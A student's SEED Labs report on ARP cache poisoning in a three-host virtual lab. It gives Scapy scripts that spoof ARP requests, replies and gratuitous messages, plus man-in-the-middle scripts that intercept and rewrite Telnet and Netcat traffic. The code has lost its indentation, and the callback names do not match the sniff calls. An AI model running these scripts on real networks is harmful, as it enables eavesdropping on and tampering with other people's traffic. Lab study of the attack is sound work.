# ARP Cache Poisoning Attack Lab
###### tags: `SUTD` `SEED Labs` `Network Security` `Lab`
For web view: https://hackmd.io/@ephemeral-instance/r1X3ly3l_
The following mappings were used for this lab:
| Host | IP address | MAC address |
| ---- | ---------- | ------------------- |
| M | `10.0.2.4` | `08:00:27:34:8a:17` |
| A | `10.0.2.5` | `08:00:27:08:74:bd` |
| B | `10.0.2.6` | `08:00:27:85:a7:51` |
## Task 1: ARP Cache Poisoning
### Task 1A (using ARP request)
A's ARP cache initially looks like this:

To poison A's ARP cache, M can spoof B's IP address and send an ARP request to A.
Code:
``` python
from scapy.all import *
A = "10.0.2.5"
A_mac = "08:00:27:08:74:bd"
B = "10.0.2.6"
E_layer = Ether()
E_layer.dst = A_mac
A_layer = ARP()
A_layer.psrc = B
A_layer.pdst = A
A_layer.op = "who-has"
pkt = E_layer / A_layer
sendp(pkt)
```
Packet sent has the following properties:
```
###[ Ethernet ]###
dst = 08:00:27:08:74:bd
src = 08:00:27:34:8a:17
type = ARP
###[ ARP ]###
hwtype = 0x1
ptype = IPv4
hwlen = None
plen = None
op = who-has
hwsrc = 08:00:27:34:8a:17
psrc = 10.0.2.6
hwdst = 00:00:00:00:00:00
pdst = 10.0.2.5
```
M's MAC address is mapped to B's IP in A's ARP cache, as shown below.

### Task 1B (using ARP reply)
After clearing A's cache with `sudo ip -s -s neigh flush all`, A's ARP cache is as follows:

M can then poison A's ARP cache by spoofing B's IP address and sending an ARP response to A.
Code:
``` python
from scapy.all import *
A = "10.0.2.5"
A_mac = "08:00:27:08:74:bd"
B = "10.0.2.6"
E_layer = Ether()
E_layer.dst = A_mac
A_layer = ARP()
A_layer.psrc = B
A_layer.pdst = A
A_layer.op = "is-at"
pkt = E_layer / A_layer
pkt.show()
sendp(pkt)
```
Packet sent has the following properties:
```
###[ Ethernet ]###
dst = 08:00:27:08:74:bd
src = 08:00:27:34:8a:17
type = ARP
###[ ARP ]###
hwtype = 0x1
ptype = IPv4
hwlen = None
plen = None
op = is-at
hwsrc = 08:00:27:34:8a:17
psrc = 10.0.2.6
hwdst = 00:00:00:00:00:00
pdst = 10.0.2.5
```
M's MAC address is mapped to B's IP in A's ARP cache, as shown below.

### Task 1C (using ARP gratuitous message)
After clearing A's cache again with `sudo ip -s -s neigh flush all` as mentioned above.

M can poison A's ARP cache by spoofing B's IP address and broadcasting a gratuitous message.
Code:
``` python
from scapy.all import *
B = "10.0.2.6"
E_layer = Ether()
E_layer.dst = "ff:ff:ff:ff:ff:ff"
A_layer = ARP()
A_layer.hwdst = "ff:ff:ff:ff:ff:ff"
A_layer.psrc = B
A_layer.pdst = B
A_layer.op = 2
pkt = E_layer / A_layer
sendp(pkt)
```
Packet sent has the following properties:
```
###[ Ethernet ]###
dst = ff:ff:ff:ff:ff:ff
src = 08:00:27:34:8a:17
type = ARP
###[ ARP ]###
hwtype = 0x1
ptype = IPv4
hwlen = None
plen = None
op = is-at
hwsrc = 08:00:27:34:8a:17
psrc = 10.0.2.6
hwdst = ff:ff:ff:ff:ff:ff
pdst = 10.0.2.6
```
M's MAC address is mapped to B's IP in A's ARP cache, as shown below.

## Task 2: MITM Attack on Telnet using ARP Cache Poisoning
### Step 1: Launch the ARP cache poisoning attack
To launch the attack, M sends A an ARP request with B's IP address and sends B an ARP request with A's IP address, similar to what has been done for Task 1A.
Code:
``` python
from scapy.all import *
def get_arp_spoof_pkt(victim_ip, victim_mac, spoof_ip):
E_layer = Ether()
E_layer.dst = victim_mac
A_layer = ARP()
A_layer.psrc = spoof_ip
A_layer.pdst = victim_ip
A_layer.op = "who-has"
return E_layer / A_layer
A = "10.0.2.5"
A_mac = "08:00:27:08:74:bd"
B = "10.0.2.6"
B_mac = "08:00:27:85:a7:51"
pkt_a = get_arp_spoof_pkt(A, A_mac, B)
pkt_b = get_arp_spoof_pkt(B, B_mac, A)
pkt_a.show()
pkt_b.show()
sendp(pkt_a)
sendp(pkt_b)
```
### Step 2: Testing
When both A and B ping each other, they both ping M instead. These packets can be captured on M through WireShark as shown in the screenshot below.

M does not respond to the pings. After around 9 pings, the correct MAC addresses are restored for A and B, and they start to ping each other instead.
### Step 3: Turn on IP forwarding
*Please run the following command and repeat Step 2. Please describe your
observation.*
Based on the packets captured on M through WireShark, the pings are forwarded by M to their respective machines.

A and B are unaware of the redirection and do not restore the MAC address cached to the correct ones.
### Step 4: Launch the MITM attack
Code:
``` python
# ... imports, initialisation of addresses and Step 1 (refer to full code) ... #
def tcp_spoof_pkt_telnet(pkt):
if pkt[Ether].src != M_mac:
print("not from M_mac")
if pkt[IP].src == A and pkt[IP].dst == B:
print("from A to B")
pkt[Ether].src = M_mac
pkt[Ether].dst = B_mac
try:
bytes(pkt[TCP].payload).decode("utf-8")
del (pkt[TCP].payload)
del (pkt[TCP].chksum)
pkt[TCP] /= 'Z'
except:
print("not str")
finally:
sendp(pkt)
elif pkt[IP].src == B and pkt[IP].dst == A:
print("from B to A")
pkt[Ether].src = M_mac
pkt[Ether].dst = A_mac
sendp(pkt) # Forward the original packet
# Step 4: Launch MITM attack
pkt = sniff(filter='tcp', prn=tcp_spoof_pkt)
```
*We first keep the IP forwarding on, so we can successfully create a Telnet connection between A to
B. Once the connection is established, we turn off the IP forwarding using the following command.
Please type something on A’s Telnet window, and report your observation: `$ sudo sysctl net.ipv4.ip_forward=0`*
1. If IP forwarding is not enabled before Telnet connection is made, ARP cache is restored to the actual MAC addresses before the connection can be initiated.
2. If IP forwarded is not disabled after Telnet connection is made (i.e. input is sent in after login), the terminal works as usual and input is not replaced.
3. Only if IP forwarding is enabled before Telnet connection and then disabled before other input is made, will the characters input in command prompt be replaced with our character of choice, Z.
## Task 3: MITM Attack on Netcat using ARP Cache Poisoning
Code:
``` python
# ... imports, initialisation of addresses and Task 2's Step 1 (refer to full code) ... #
def tcp_spoof_pkt_netcat(pkt):
if pkt[Ether].src != M_mac:
print("not from M_mac")
if pkt[IP].src == A and pkt[IP].dst == B:
print("from A to B")
pkt[Ether].src = M_mac
pkt[Ether].dst = B_mac
try:
payload = bytes(pkt[TCP].payload).decode("utf-8")
del (pkt[TCP].payload)
del (pkt[TCP].chksum)
print(payload)
payload = censor_payload(payload)
print(payload)
pkt[TCP] /= payload
except AttributeError:
print("not str")
finally:
sendp(pkt)
elif pkt[IP].src == B and pkt[IP].dst == A:
print("from B to A")
pkt[Ether].src = M_mac
pkt[Ether].dst = A_mac
sendp(pkt) # Forward the original packet
def censor_payload(payload):
print(0)
payload = list(payload)
new_payload = payload.copy()
name_len = len(first_name)
print(1)
for i in range(len(payload)-name_len+1):
if payload[i:i+name_len] == first_name:
print(2)
new_payload[i:i+name_len] = replacement_txt
return "".join(new_payload)
first_name = list("huiqing")
replacement_txt = list("aaaaaaa")
pkt = sniff(filter='tcp', prn=tcp_spoof_pkt)
```
Evidence:
